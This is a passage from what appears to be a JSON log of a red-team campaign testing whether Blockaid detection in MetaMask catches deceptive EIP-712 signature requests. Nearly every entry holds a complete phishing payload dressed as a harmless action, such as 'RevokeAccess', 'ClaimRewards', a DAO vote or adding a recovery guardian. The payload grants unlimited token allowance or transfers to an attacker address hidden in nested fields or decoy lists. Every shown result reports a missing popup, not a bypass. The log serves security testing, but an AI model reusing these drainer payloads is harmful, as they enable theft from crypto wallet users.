Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T19:34:28.003Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T19:34:37.574Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN65-EIP3009-022", "timestamp": "2026-01-31T19:34:47.152Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xb0d457b284ea080f5c6f7c136e66f865434ebc9efce607fd7367ceb04d2d8c51\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN65-EIP3009-054", "timestamp": "2026-01-31T19:34:56.717Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0564b448cec751758eb3e83d0f630766d99ba14e85d126ca856a636d8785162b\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T19:35:06.287Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T19:35:15.853Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T19:35:25.427Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T19:35:34.999Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T19:35:44.572Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T19:35:54.138Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T19:36:03.696Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T19:36:13.266Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T19:36:22.839Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T19:36:32.399Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T19:36:41.968Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T19:36:51.526Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T19:37:01.096Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T19:37:10.661Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T19:37:20.234Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending 